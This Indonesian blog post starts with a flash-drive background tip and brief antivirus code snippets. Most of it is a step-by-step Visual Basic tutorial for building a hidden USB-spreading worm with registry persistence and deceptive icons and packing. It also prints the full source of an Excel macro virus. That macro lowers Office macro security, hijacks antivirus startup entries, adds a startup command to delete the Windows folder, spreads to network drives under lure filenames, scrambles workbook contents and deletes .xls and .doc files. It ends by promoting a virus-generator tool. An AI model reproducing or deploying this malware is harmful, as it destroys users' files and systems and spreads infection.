Cara membuat Background pada Flashdisk
Cara membuat Background pada Flash disk - Backgrond di flashdisk bisa kita rubah-rubah sesuai keinginan kita. bisa kita pasang dengan background foto kita, atau bisa juga kita pasang dengan wallpaper yang telah kita download dari internet. dan berikut ini Cara membuat Background pada Flash disk tanpa bantuan Software.
Sebelum menerapkan Cara membuat Background pada Flash disk tanpa Software ini, ada hal yang harus dipersiapkan yaitu ukuran foto atau wallpaper yang di gunakan nanti harus berukuran kurang dari 600px
Dan berikut ini Cara membuat Background pada Flash disk
- Pasang Flashdisk di port usb.
- Buka program NOTEPAD.
- Copy coding di bawah ini
- Paste di NOTEPAD
- Masukkan gambar yang ingin kita jadikan Background di flashdisk.
- Beri nama gambar tadi "background.jpg".
- Kembali ke NOTEPAD anda dan save coding tadi dengan nama
- "dekstop.ini" dan di simpan di flash disk.
- Buka explorer dan click drive flashdisk anda. Jika langkah di atas telah anda ikuti dengan benar,background flashdisk anda harusnya sudah ada.
- Untuk membuat rapi flashdisk anda, gambar background yang di beri nama background.jpg tadi, di hiden agar tidak terhapus/terpindah.
Cara membuat Background pada Flash disk ini hanya membuat background pada halaman depan flashdisk saja.dan bila anda mengklik folder laen,anda tidak akan menemukan background tsbt. Jika ingin tiap folder ada backgroundnya,ulangi cara tersebut
di tiap folder.
2.VIRUS
(saya hanya memaparkan beberapa souce code yang dianggap penting,,,, dalam membuat anti virus)
MEMBACA SIGNATURE VIRUS YANG ADA
Private Sub cmdTambah_Click()
Dim nf As Integer
Dim cVDF As String
Dim cPattern As String
cVDF = App.Path + “\Scan.vdf”
nf = FreeFile
Open cVDF For Append As #nf
cPattern = AmbilPatternFile(txtPath.Text)
If cPattern = “” Then
MsgBox “Gagal mengambil pattern virus !”, vbCritical, vbOKOnly
Else
Print #nf, cPattern + txtNamaVirus.Text
Call lstHistory.AddItem(”Tambah VDF : ” + txtNamaVirus.Text, 0)
End If
Close #nf
End Sub
Kelemahan Teknik ini berfungsi jika signature virus ada, jika tidak maka kemungkinan virus-virus tidak akan dikenali….
teknik lain yang sering digunakan oleh antivirus lain seperti CRC atau ceksum… dan ini kemungkinan besar untuk mendeteksi keberadaan virus-virus yang ada
CEK PROSES BERJALAN
Public Sub CekProcesses()
Dim hSnapShot As Long
Dim ProcessEntry As PROCESSENTRY32
Dim NextEnumExists As Boolean
Dim Pos As Long
Dim pId As Long
Dim fileName As String
Dim baseName As String
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
If hSnapShot = 0 Then
MsgBox “Failed to create Module and Thread snapshot”
Exit Sub
End If
ProcessEntry.dwSize = Len(ProcessEntry)
NextEnumExists = 0 <> Process32First(hSnapShot, ProcessEntry)
While NextEnumExists
pId = ProcessEntry.th32ProcessID
Pos = InStr(ProcessEntry.szExeFile, Chr(0))
If Pos > 1 Then
fileName = Left(ProcessEntry.szExeFile, Pos - 1)
baseName = extractFilename(fileName)
Else
fileName = “”
baseName = “”
End If
Call lstHistory.AddItem(”Periksa (” + Hex$(pId) + “) ” + fileName, 0)
Call cekModules(pId)
NextEnumExists = 0 <> Process32Next(hSnapShot, ProcessEntry)
Wend
Call CloseHandle(hSnapShot)
End Sub
Public Sub CekModules(pId As Long)
Dim ModuleEntry As TMODULEENTRY32
Dim hProcess As Long
Dim Proceed As Long
Dim hSnapShot As Long
Dim lWritten As Long
Dim sBuffer As String * 512
Dim ImageNTHeader As IMAGE_NT_HEADERS
Dim e_lfanew As Integer
Dim Pattern As String
Dim i As Integer
If GetVersion = VER_PLATFORM_WIN32_NT Then
If Not SetPrivilege(”SeDebugPrivilege”, True) Then Exit Sub
End If
hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pId)
If hProcess <> 0 Then
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId)
If hSnapShot <> -1 Then
ModuleEntry.dwSize = Len(ModuleEntry)
Proceed = Module32First(hSnapShot, ModuleEntry)
Do While Proceed
sBuffer = Space(1024)
If ReadProcessMemory(hProcess, ByVal ModuleEntry.modBaseAddr, ByVal sBuffer, 512, lWritten) Then
If lWritten > 0 Then
e_lfanew = InStr(sBuffer, “PE” + Chr$(0) + Chr$(0)) - 1
If e_lfanew > 0 Then
If ReadProcessMemory(hProcess, ByVal (ModuleEntry.modBaseAddr + e_lfanew), ByVal ImageNTHeader, Len(ImageNTHeader), lWritten) Then
Pattern = buatPattern(ImageNTHeader)
i = 0
Do While i <= PatternCount
If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do
i = i + 1
Loop
If i <= PatternCount Then
Call TerminateProcess(hProcess, 0)
Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)
Call lstHistory.AddItem(”Action: Delete process”, 0)
End If
End If
End If
End If
End If
Proceed = Module32Next(hSnapShot, ModuleEntry)
Loop
End If
CloseHandle (hSnapShot)
End If
CloseHandle (hProcess)
If GetVersion() = VER_PLATFORM_WIN32_NT Then
Call SetPrivilege(”SeDebugPrivilege”, False)
End If
End Sub
setelah menghentikan prosesnya kita akan mencari virus2 tersebut
MENCARI DAN MENDAPATKAN VIRUS2 DIMEDIA PENYIMPANAN
Function GetFiles(Path As String)
Dim ObjFSO As Object
Dim sFiles As Object
Dim Pattern As String
Dim i As Integer
On Error GoTo Finally
Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)
txtScan.Text = Path
For Each sFiles In ObjFSO.GetFolder(Path).Files
DoEvents
If InStr(”bat bin com cmd dll exe ini htt pif”, Right$(sFiles, 3)) > 0 Then
Pattern = AmbilPatternFile(sFiles)
If Pattern <> “” Then
i = 0
Do While i <= PatternCount
If Pattern = Left(PatternVirus(i), Len(Pattern)) Then Exit Do
i = i + 1
Loop
If i <= PatternCount Then
Call lstHistory.AddItem(”File :” + sFiles, 0)
Call lstHistory.AddItem(”Found :” + Mid$(PatternVirus(i), Len(Pattern) + 1), 0)
End If
End If
End If
Next
Finally:
End Function
OK,,,,lets do it jangan banyak-banyak bacot.
syarat-syarat sebuah virus/ worm
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya1. Tidak menampakan diri pada saat Run.
Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add
Module)
Option Explicit ‘setiap variable harus dideklarasikan
Sub main()
App.TaskVisible = False ‘tidak tampil di taskbar
Form1.Visible = False ‘tidak menampilkan form
End Sub
Buatlah sub main sebagai startup object program anda (Project-Project Properties-
Startup Object, Sub Main)
Coba lakukan Run, apakah program anda visible (form dan taskbar)
2. Mengaktifkan diri setiap proses boot System.
Tambahkan sebuah sub baru dengan nama virusInstall
Sub VirusInstall()
Dim wShell As Object
Dim fSource As String
Dim fTarget As String
‘ambil path dan nama exe file
fSource = App.Path & “\” & App.EXEName & “.exe”
‘duplikasi ke folder windows
fTarget = Environ$(”windir”) & “\MyVirus.exe”
‘Periksa apakah sudah pernah install
If Dir(fTarget) = “” Then
Call FileCopy(fSource, fTarget)
Set wShell = CreateObject(”WScript.Shell”)
‘manipulasi registry run
wShell.regwrite “HKLM\Software\Microsoft\Windows\Run\MyVirus”, fTarget
End If
End Sub
dan aktifkan sub virusInstall dari Sub Main
Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall ‘install diri
End Sub
3. Penyebaran diri melalui media flash disk
· Tambahkan global variable (pada bagian general declaration) agar 1
flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien
dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui
dengan cepat)
Dim infectedFlashDisk As Boolean ‘flag sudah infeksi atau belum
· Tambahkan sub berikut untuk mereplikasi diri virus
Public Sub replikasiDiri(targetDrive As String)
Dim fSource As String
Dim fTarget As String
‘replikasi dari C:\Windows (lokasi instalasi diri)
fSource = Environ$(”windir”) & “\MyVirus.exe”
‘ke target drive
fTarget = targetDrive + “\MyVirus.exe”
‘jangan replikasi lebih dari 1 kali pada media yang sama
If Dir(fTarget) = “” Then
Call FileCopy(fSource, fTarget)
End If
End Sub
· Tambahkan sub berikut untuk memantau keberadaan flashdisk
Public Sub sebarFlashDisk()
On Error GoTo BatalInfeksi
Dim AdaFlashDisk As Boolean
Dim ObjFSO As Object
Dim ObjDrive As Object
‘buat file scripting object
Set ObjFSO = CreateObject(”Scripting.FileSystemObject”)
Makalah Pembuatan Virus dengan Visual Basic
Oleh : Hendra Soewarno 3
AdaFlashDisk = False
For Each ObjDrive In ObjFSO.Drives
‘Asumsi semua removable drive diatas huruf C adalah flash disk
‘1 - Removable drive
‘2 - Fixed drive (hard disk)
‘3 - Mapped network drive
‘4 - CD-ROM drive
‘5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then
AdaFlashDisk = True
‘jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb
If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then
Call replikasiDiri(ObjDrive.DriveLetter+”:”)
infectedFlashDisk = True ‘aktifkan flag sudah infeksi
End If
End If
Next
If Not AdaFlashDisk Then ‘tidak ada flashdisk
infectedFlashDisk = False ‘reset flag sudah infeksi
End If
BatalInfeksi:
End Sub
· Tambahkan kontrol timer pada form1
Private Sub Timer1_Timer()
Call sebarFlashDisk ‘aktifkan penyebaran flasdisk
End Sub
· Atur setting flag sudah infeksi dan control timer melalui sub main
Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
‘Atur variabel global
infectedFlashDisk = False
‘Atur setting time
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End Sub
4. Membatasi pengaktifan diri hanya 1 kali
Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma
yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai.
· Tambahkan fungsi findWindow dari WINAPI
Public Declare Function FindWindow Lib “user32″ Alias
“FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName
As String) As Long
· Tambahkan fungsi sudahAktif
Function sudahAktif(Title As String) As Boolean
Dim vir_hwnd As Long
‘Jika Jendela virus aktif
‘cari Window dengan title yang sama
vir_hwnd = FindWindow(vbNullString, Title)
sudahAktif = Not (vir_hwnd = 0)
End Function
· Modifikasi sub Main
Sub Main()
Dim namaVirus As String
namaVirus = “MyVirus”
If Not sudahAktif(namaVirus) Then ‘jika belum aktif
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
‘Atur variabel global
infectedFlashDisk = False
‘Atur setting time
Form1.Caption = namaVirus ‘tandai title Window
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End If
End Sub
6. Ganti Icon MyVirus
Icon virus sangat berguna dalam penyebarannya, dengan rekayasa social (social enginerring), maka akan menarik para user untuk mengeksekusinya.
7. Memperkecil ukuran executable virus anda
untuk memperkecil ukuran virus lo biar cepat dalam proses pengeksekusian maka file executable itu di compress. software pengompress seperti ASPACK atau UPX sangat populer.
finish….sekarang lo tinggal mengeksekusi nya dan liat reaksi kompi lo
apa itu virus makro???
Virus makro adalah virus yang dibuat dengan memanfaatkan visual basic editor yang terdapat pada MS Office.
gimana membuatnya ?
open Word trus klik tabel tools liat macro trus klik visual basic editor
skr lo dah gw anggap tau, na buat script nya……………tunggu ntar dulu
skr nentuin gimana virus macro ini menyebar…gimana kalo bukan manfaatin removable drive kaya flashdisk
OK dari pada basa basi gw tulis ne scripnya
‘Author :Aurel 666
‘Script ini dibuat bukan untuk disebarkan sebagai program perusak, tp hanya buat ‘edukasi saja. Segala bentuk kerusakan yang terjadi tidak menjadi tanggung jawab
‘gw Ok bro____________________________________________.
‘——————————Lets begin fuck script ———————————–
‘Pendeklarasian varibel fungsi
Private Declare Function RegOpenKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegCreateKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal _
hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Global Const REG_DWORD As Long = 4
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002
Global Const HKEY_CURRENT_USER As Long = &H80000001
Dim NewKEY As Long
Dim AA, BB, NN
Dim Myclub As String
Dim CrStat As Boolean
Dim pnm As String
‘ ini untuk mendisable menu dan
‘ menghapus direktory windows
Sub MessBoard()
On Error Resume Next
CommandBars(”File”).Controls(”Print Area”).Visible = False
CommandBars(”Data”).Controls(”Sort”).Visible = False
CommandBars(”File”).Controls(”Page Setup…”).Visible = False
NowBoom = Array(”MsApp”, “winamp”, “Ms Wizard”, “Web Camera”, _
“PCI driver”, “App Video”, “Lshots”, “WinApps”, “MsOffice 11″)
Randomize
NowBoom = NowBoom(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\CurrentVersion\Run”, _
0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, NowBoom, 0, 1, “c:\windows\command\deltree windows”, 0)
KillAV = RegCloseKey(s)
End Sub
Private Sub Auto_Open()
On Error Resume Next
Application.StatusBar = “Please Wait……Fuckin User”
Application.ScreenUpdating = False
CommandBars(”Tools”).Controls(”Customize…”).Visible = False
CommandBars(”Tools”).Controls(”Options…”).Visible = False
CommandBars(”Tools”).Controls(”Macro”).Enable = False
’setting registry security LOW pada excel ver. 8.0 dan 9.0
Kill97 = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\8.0\Excel\” & _
“Microsoft Excel”, 0, KEY_ALL_ACCESS, k)
Kill97 = RegSetValueExA(k, “Options6″, 0, REG_DWORD, Chr$(0), 4)
Kill97 = RegCloseKey(k)
Kill2K = RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel\” & _
“security”, s)
Kill2K = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel”, _
0, KEY_ALL_ACCESS, s)
Kill2K = RegSetValueExA(s, “Level”, 0, REG_DWORD, Chr$(2), 2)
Kill2K = RegCloseKey(s)
‘mengalihkan antivirus ke file yang anda inginkan
‘rubah file rundll.exe sesuai keinginan
AnVrs = Array(”VsStatEXE”, “Norton Auto-Protect”, “PC-Mav”, “AVG”, “Avast4″, _
“Kapersky”, “McAffe”, “Ansav E+”, “Norman”)
Randomize
AVstr = AnVrs(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\” & _
“CurrentVersion\Run”, 0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, AVstr, 0, 1, “c:\windows\rundll.exe”, 0)
KillAV = RegCloseKey(s)
Application.DisplayAlerts = False
If Right(ActiveWorkbook.Name, 3) = “xls” Then
ActiveWindow.Visible = False
Workbooks.Add
End If
XBrnd
‘membuat file Xlstart yang isinya file yg terinfeksi
‘membuat tulisan pada sheet active
strup = Application.StartupPath
If Dir(strup & “\” & “*.xls”) = “” Then
pnm = ActiveWorkbook.Name
Apnm = ActiveWorkbook.FullName
OtherVrs = Dir(strup & “\” & “*.xls”)
If OtherVrs <> “” Then
Workbooks(OtherVrs).Close
Kill strup & “\” & OtherVrs
End If
Workbooks(pnm).SaveAs Filename:=strup & “\” & MyDocument & “.xls”
ActiveWindow.Visible = False
Workbooks.Open (Apnm)
End If
For n = 67 To 90
l = Chr(n)
drv = l & “:”
d3 = DrvID(drv)
If d3 = “network” Then snd2drv (drv)
Next
nmpers = Dir(strup & “\” & “*.xls”)
Application.OnSheetActivate = “” & strup & “\” & nmpers & “!XLBomb”
If Month(Now()) = 7 And Day(Now()) = 7 Then
Range(”A1″).Insert
Range(”A1″).Select
With Selection.Font
.Name = “Arial”
.FontStyle = “Bold”
.Size = 18
.ColorIndex = 7
End With
ActiveCell.FormulaR1C1 = “metal…KEEP ALIVE” ‘menampilkan pesan
MessBoard
cari
End If
Application.StatusBar = False
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub
‘Penularan pada workbook yg aktif
‘add sheet xlSheetVeryHidden sebagai otorisasi
Sub XLBomb()
On Error Resume Next
XlsBmb = “C:\Documents and Settings\Dark.WQK”
Application.DisplayAlerts = False
Application.ScreenUpdating = False
aktip = ActiveWorkbook.Name
sedang = ThisWorkbook.Name
Set mcraktip = Workbooks(aktip).VBProject.VBComponents
Set modaktip = ActiveWorkbook.VBProject.VBComponents
Set mymcr = ThisWorkbook.VBProject.VBComponents
If aktip <> “Book1″ And aktip <> “Book2″ Then
For NS = 1 To Sheets.Count
If Sheets(NS).Name = “4ureL” Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> “4ureL” Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = “4ureL”
Sheets(”4ureL”).Visible = xlSheetVeryHidden
Else
susun
Sheets(”4ureL”).Range(”A7″) = “”
End If
For nm = 1 To mcraktip.Count
If mcraktip(nm).Type = 1 Then
nama = mcraktip(nm).Name
Exit For
End If
Next nm
modaktip.Remove modaktip(nm)
For nm = 1 To mymcr.Count
If mymcr(nm).Type = 1 Then
nama = mymcr(nm).Name
Exit For
End If
Next nm
mymcr(nama).Export XlsBmb
modaktip.Import XlsBmb
Kill XlsBmb
XBrnd
ActiveWorkbook.VBProject.VBComponents(nm).Name = Myclub
If Minute(Now()) > 30 And Weekday(Now()) Mod 2 = 0 Then
Application.StatusBar = “Searching…….”
End If
End If
Application.DisplayAlerts = True
End Sub
‘duplikasi virus dengan berbagai nama secara acak menggunakan Array
Private Sub XBrnd()
Dim Sbjt, Bodd
On Error GoTo nil1
Randomize
Sbjt = Array(”Laporan”, “Kas”, “MyMoney”, “thismonth”, “Sample”, “ms0ffice”, _
“tax”, “rEPORT”, “Kuisioner”)
Myclub = Sbjt(Rnd * 9 + 1)
Exit Sub
nil1:
Myclub = Sbjt(0)
End Sub
Function DrvID(drv3) ‘infeksi ke semua drive yang ada
On Error Resume Next
Dim fso, d, t
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set d = fso.getdrive(drv3)
Select Case d.driveType
Case 0: t = “Unknown”
Case 1: t = “removable”
Case 2: t = “Fixed”
Case 3: t = “network”
Case 4: t = “CD-ROM”
Case 5: t = “Ramdisk”
End Select
If t = “” Then t = “none”
DrvID = t
End Function
‘ penggunaan nama secara acak dengan memanfaatkan array untuk menginfeksi
Sub snd2drv(DrvAll)
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Gnm = ActiveWorkbook.Name
GnmF = ActiveWorkbook.FullName
Randomize
FlName = Array(”Colapse”, “myacc”, “report”, “launch07″, “Secret”, “jobs”, _
“reference”, “logistic”, _
“Form_login”, “NewCost”, “DontOpen”, “payment”, ” report”, “Finance”, _
“account”)
Bread = FlName(Rnd * 14 + 1)
Workbooks(Gnm).SaveAs Filename:=DrvAll & “\” & Bread & “.xls”
Workbooks(ActiveWorkbook.Name).Close
Workbooks.Open (GnmF)
Application.DisplayAlerts = True
End Sub
Private Sub Auto_Close()
On Error Resume Next
If ActiveWorkbook.Name <> “Book1″ And ActiveWorkbook.Name <> “Book2″ Then
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For NS = 1 To Sheets.Count
If Sheets(NS).Name = “4ureL” Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> “4urel” Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = “4ureL”
Sheets(”4ureL”).Visible = xlSheetVeryHidden
End If
CryptSTAT = Sheets(”4ureL”).Range(”A7″)
If CryptSTAT <> 1 Then
kacau
Sheets(”4ureL”).Range(”A7″) = 1
SvFl = Dir(Application.StartupPath & “\” & “*.xls”)
Workbooks(SvFl).Save
ActiveWorkbook.Save
End If
End If
End Sub
‘kalo file d tutup basic encrypt
‘kalo macro ditutup, merusak file
Sub kacau() ‘kurang setiap sheets
For i = 48 To 90 ‘48 As 0 And 90 As Z
If i <> 63 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i + 110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub
‘mengembalikan (decrypt) struktur file saat d buka
Sub susun()
For i = 158 To 200
If i <> 173 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i - 110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub
‘ini untuk menghapus file xls,doc & file yg anda inginkan dengan
‘membuat file tipuan dg nama sesuai folder
Sub cari()
On Error Resume Next
Dim nmfold1, nmfold2, pjg, kena As Integer
pnm = ActiveWorkbook.FullName
pjg = Len(pnm)
For i = 0 To 50
pjg = pjg - 1
If Right(Left(pnm, pjg), 1) = “\” Then
foldbatas = Left(pnm, pjg)
Kill foldbatas & “*.xls”
Kill foldbatas & “*.doc”
Kill foldbatas & “proposal.*”
If a = 0 Then
nmfold1 = Len(foldbatas) - 1
pnm = Left(pnm, nmfold1)
a = 1
Else
nmfold2 = Len(foldbatas) + 1
kena = nmfold1 - nmfold2
namekena = Right(pnm, kena + 1)
Application.ScreenUpdating = False
Workbooks.Add (namekena & “.xls”)
ActiveWorkbook.Save
ActiveWorkbook.Close
Application.ScreenUpdating = True
Exit For
End If
End If
Next
End Sub
wuahhhhhhhhhhhhhhhhh capeknya nulis ………akhirnya selesai juga scriptnya
udah jam 02.00 ne…gw mo tidur dulu…key bro
klo lo pengen caci maki gw atau nyumpah silahkan lo cooment dsini
ha….ha…..hwuaaaaaaaaaaah…………..mmmmmp[phhhh……………. grokkkkkkk…….
FFE
1. Jalankan software FFE tersebut
2. Lalu muncul form awal berupa splash screen
3. Lalu klik form tersebut, kemudian form utama akan terbuka.
4. Isi nama author, nama virus, dan pesan lalu klik generate maka sebuah virus barupun akan tercipta dengan mudahnya
Tidak ada komentar:
Posting Komentar